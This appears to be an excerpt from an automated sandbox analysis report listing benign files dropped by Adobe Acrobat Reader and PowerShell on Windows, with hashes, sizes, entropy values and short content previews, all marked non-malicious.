SHA-256:	75F21ACF3053B1C42E37AACFA351C0C509A8CE9FE6CABB61A18EB97B5A60D828
SHA-512:	8A2BB4393B4DAD88508BB095DB4E5751618108B18D48CE7B5BE92531DB5A321DCC5ADE9CF80450459AF03185439F8288DC79FCCFEF1CAEA6EA6AFFB4C2E251BD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e53a09c9-f1f5-4838-8285-ed4f3175db30","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744502080,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.299751889972756
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/H2J9VoZcg1vRcR0YyAFleoAvJfbPtdPeUkwRe9:YvXKX/H2JEZc0vFAVGDV8Ukee9
MD5:	7C1A9EDCC507FB628DB6CE224B438D37
SHA1:	70AB20B64ACA7CEC7BDBC826046A8B2203F3F58A
SHA-256:	ECF9BC4D5695374FE4A4FD178C8737D20A5F4BA712734FEAA78CA3F0335206B6
SHA-512:	D1F345A66B613501D823FEC932BEAD2E23B40BF3032C46B161B99F705EEB4948B48C38D6041781A09D77A0388FF81A4F7F2FBF1EB2FF1C69D5EC8F89CF976B19
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e53a09c9-f1f5-4838-8285-ed4f3175db30","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744502080,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.304314812761635
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/H2J9VoZcg1vRcR0YyAFleoAvJf21rPeUkwRe9:YvXKX/H2JEZc0vFAVG+16Ukee9
MD5:	A22AAC85D78728E30249BB1441648C18
SHA1:	2055C1675C2A168F16FD9702104C6BC5C7DB283C
SHA-256:	A4DFAF34DAB13CEE9F66A9E77AD8EBA1E83B5875744FAA4705C6EBB36B2BE519
SHA-512:	A5B834CCF8D5A4BE575DFF1C01BAB7C6BD5257D391E28F63F555E7E4E5F4F0771AB8345F42F855C8A9783B315CA89FFC3F7D05E857486A75ED2D74FFDD16D148
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e53a09c9-f1f5-4838-8285-ed4f3175db30","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744502080,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.670280787495637
Encrypted:	false
SSDEEP:	24:Yv6X/HuEzvZamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS/Y:YvoH1tBgkDMUJUAh8cvMQ
MD5:	992A95B62AD0CDDAFA15277900C9BDE2
SHA1:	976AB4B1D654D35992A0BAAC1033F0118FC9A1D2
SHA-256:	AE3DB934D838C3B4499C5A3D49D1B56874F17BCC49ADE92E380C618637385FE7
SHA-512:	973FC6F91A7F4678C9956FC8FD6261FEC6AA4397E91CB174547C16D8D26A9FEDFFDB16E136AC0B6B820FCCD687C60A6FDB28A0D896F4DB2388A011618BDF547D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e53a09c9-f1f5-4838-8285-ed4f3175db30","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744502080,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.280327989154172
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/H2J9VoZcg1vRcR0YyAFleoAvJfshHHrPeUkwRe9:YvXKX/H2JEZc0vFAVGUUUkee9
MD5:	26359C1E1C7451557115F47CE4D374AF
SHA1:	0BA6CAD2CD195AD721FEE6D98A11DD65252D524F
SHA-256:	41276239E1268535669A5AF9DD60F95C92DC0296EB3490B12E68FF6B34ED3433
SHA-512:	3E1D19FA30729C0A2141C2DD1491E0F688D789D06D16552FC73CE6FDF9996185E0BD85DF0D31DDD1937F82BC82E30D1B860E352B11E4527DBB7B15E65872AA11
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e53a09c9-f1f5-4838-8285-ed4f3175db30","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744502080,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.28791713186387
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/H2J9VoZcg1vRcR0YyAFleoAvJTqgFCrPeUkwRe9:YvXKX/H2JEZc0vFAVGTq16Ukee9
MD5:	C2CCB4E8DBB2AFC27AEFBE9FD049A0F0
SHA1:	0D391576F121F86C5EB5CA1955B717A1AD091862
SHA-256:	93D57A018CF72DDAAB47A0C621E116E151822F5733CD7DF33783E3C559F7B5A9
SHA-512:	76D3800BF558293F87075E05BDDE76A00C55E85AD29B06E69E3B3A97929EC1A7292F35DF62DEA56F601B4040B201A2ECBC735259F79F6C1F54F1EA9895C42CAD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e53a09c9-f1f5-4838-8285-ed4f3175db30","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744502080,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.132161763462454
Encrypted:	false
SSDEEP:	24:YEiSasCayHQEVYT0dHlunIjulj0Su4pUW/329xA2LSNCIwbBMqY5DsH9vPu5yMOG:YGJEIUBupqCPwAffwlMNq9v4z
MD5:	DFF415E72F70C0E3F84B887EAADD33CA
SHA1:	46CCE839224E51608C5109ED4F25B038235B4084
SHA-256:	74EF804DC3AC80F03271501AA378F1B779F7821134EBE7EBE90E70F640955AB2
SHA-512:	4452EA70C6CDC8A21163C27129F9A6E0BB7986A369B39AD58A5E711D3C2F3A0349752DAA86D9CB9A5B2993ED62D02C7AD073ABF39DB5A9B404E81294C0CE7168
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"3696f931c440da76fe1f96e870018fe0","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736567307000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"1bd2e5a6872b9b024ebf74e407ccafbc","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736567306000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"cbeba42cdbe7bbf57908da089cccfafc","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736567306000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"17b162a7d5f6bcb19f4bda42a507efcc","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736567306000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"6a27965f218c2bfeb778a7716b359554","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736567306000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"7e95b3f7e0d474a5080202151f73c764","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.188270410499789
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUtwOSvR9H9vxFGiDIAEkGVvphwI:lNVmswUUUUUUUUH+FGSItn
MD5:	60D9E89C146933B7597790F19F0D3844
SHA1:	CF9AB402BC73C277CCE018FCA87389977B32E07C
SHA-256:	05F88A1D3487318CCBFAB200035A681B039E888985195A70FFACD9FCECF1B1B5
SHA-512:	59B37E366F7C78FAA38C4A1FE7DF4C45A0C696AE79E8942022DEE3BD130F4119784DB417D08CA5A583EAD7BE42E4A79D7FCE086C934C3F177A6832E35F8DA6B2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.608380499737197
Encrypted:	false
SSDEEP:	48:7MQKUUUUUUUUUUtwcvR9H9vxFGiDIAEkGVvqWqFl2GL7mseP:7QUUUUUUUUUUrFGSItcWKVmsG
MD5:	85E712AB9C4EBCD3295F50B732F5CB46
SHA1:	8CF597AA5038D00FE27930B387513117C1A96D4B
SHA-256:	B47B8A2A681BB39804E29ABFABA2E3910B5453FD76E48C243E522978CEF3F320
SHA-512:	4E222F4F0C2A9CD2A19A0DD62B42C283F410ABD8B65C517F02D94A94DCEFCBE94962BEACDEA4CAC3F0D2750F3A15BA2640943DDE9FBB5B43DCE5F67A70EEFCEE
Malicious:	false
Preview:	.... .c.......`......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgfw7mxf9GGM3BdjyEHNw/1qmDvYyu:6a6TZ44ADEfw72f9GGv1dvK
MD5:	A600D1BBEA45E73EE889C29012E2B2A6
SHA1:	A6386363067C200F2648200596AFEFCF97E72F12
SHA-256:	0F407DFABFF4B24633CD353F92C0FD692AC0523D69C876616E1063D99A44855B
SHA-512:	CFD17D787E0DF7C9EB0D8A182467EECCB8569E18805477541E064F244F3EA0375D8B04A74868E4023E06B2606724C1C9F5B5CB363A7AEA908E9DAA93A20CF335
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllullkv/tz:NllU+v/
MD5:	6442F277E58B3984BA5EEE0C15C0C6AD
SHA1:	5343ADC2E7F102EC8FB6A101508730898CB14F57
SHA-256:	36B765624FCA82C57E4C5D3706FBD81B5419F18FC3DD7B77CD185E6E3483382D
SHA-512:	F9E62F510D5FB788F40EBA13287C282444607D2E0033D2233BC6C39CA3E1F5903B65A07F85FA0942BEDDCE2458861073772ACA06F291FA68F23C765B0CA5CA17
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIa5456.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClT:Qw946cPbiOxDlbYnuRK+b6
MD5:	61313AE08BA50A4DE347E2106E0CEFA2
SHA1:	A923DA797ABFA31E63C255C701810F9FE3005E2C
SHA-256:	DC59F7BF59355A9006BBA8AC8DDB2567311A9138B629498CC9FD86C25651918D
SHA-512:	DB09DD90DF3A01E4DB9DD7F2E7DAF9E546C7B66F9A026E280D12EA9C0ACA72551DCA00756EA048D2D96CA00D366BF263EE840278C5DF96B5B1BFBCC50B1217F7
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.2.:.4.8.:.2.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dzpaumr0.gxi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sihmco41.i5o.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 22-48-23-041.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.380692716584516
Encrypted:	false
SSDEEP:	384:ISea3TW+Vlu+78d8TGilnF7eeJKWFIsrS5wkaeaaIWKzTNOBxqLSbYbPCOU/u/v2:L1+
MD5:	0B6A896CB198C2FF03CA5D39EE636220
SHA1:	5A76151EF4339F43A9B12FA79A2395F8AA7EB5EE
SHA-256:	026AA022262D22CC246CFE22066BA4372D946BC521341E9308A321F7489E19C6
SHA-512:	1D7F98A59144D0CFF2509968F8A8583CC9872D646B02935930F1FA69CCE06F3FCE42117002915D763B457F4A1DEE4D5F7211F5395FC81E911328BAD174144C9E
Malicious:	false
Preview:	SessionID=bd4254fc-bc8f-4911-98ef-8f4cb2bd08d8.1736567303064 Timestamp=2025-01-10T22:48:23:064-0500 ThreadID=7664 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=bd4254fc-bc8f-4911-98ef-8f4cb2bd08d8.1736567303064 Timestamp=2025-01-10T22:48:23:084-0500 ThreadID=7664 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=bd4254fc-bc8f-4911-98ef-8f4cb2bd08d8.1736567303064 Timestamp=2025-01-10T22:48:23:084-0500 ThreadID=7664 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=bd4254fc-bc8f-4911-98ef-8f4cb2bd08d8.1736567303064 Timestamp=2025-01-10T22:48:23:085-0500 ThreadID=7664 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=bd4254fc-bc8f-4911-98ef-8f4cb2bd08d8.1736567303064 Timestamp=2025-01-10T22:48:23:085-0500 ThreadID=7664 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.38527515562496
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2r+:5GXPQcJ
MD5:	A7EF6AE9256CE3676201229C59719485
SHA1:	AF45CA33F7678BD2FE1723E5184C2023B2B2DC67
SHA-256:	E4BAC7D8E5B3B78B0E911A07467D6A37C479BA2A1EB9FF8CC851500C80C37885
SHA-512:	25A7F3E8D840E1194D2D830881C77F80762B564C066B2F476FF5841176A0AAE78A397FD282C2D00C3E034ABC8DC54119066CD115E824595E9F57DACB18A96D7B
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\07d27dff-33be-4932-b245-7301ac1cdee5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJxdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:JVwWLaGZDwZGV3mlind9i4ufFXpAXkrj
MD5:	96E2EE6506759519A5E3E5E550F28388
SHA1:	477522A699526F3EC2270AD0B3D3B8D6609F8BBB
SHA-256:	D135FEF8231B87D1F758B3D31FC5467BC933321F7E8EACB316F933DBA36474D5
SHA-512:	C84E93CB72ABC0742C44BF13608472EDD30BE64358C0DA350D9D54C0A88EC45931D48CE1DA823FC527E5134E7277B16AFE0521F2716C067A519FDD390DB315CC
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8b604c7b-c67a-41e4-98f3-1d8999ff4532.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\baec7df0-bd87-4ade-a36e-d34b7b5dd366.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
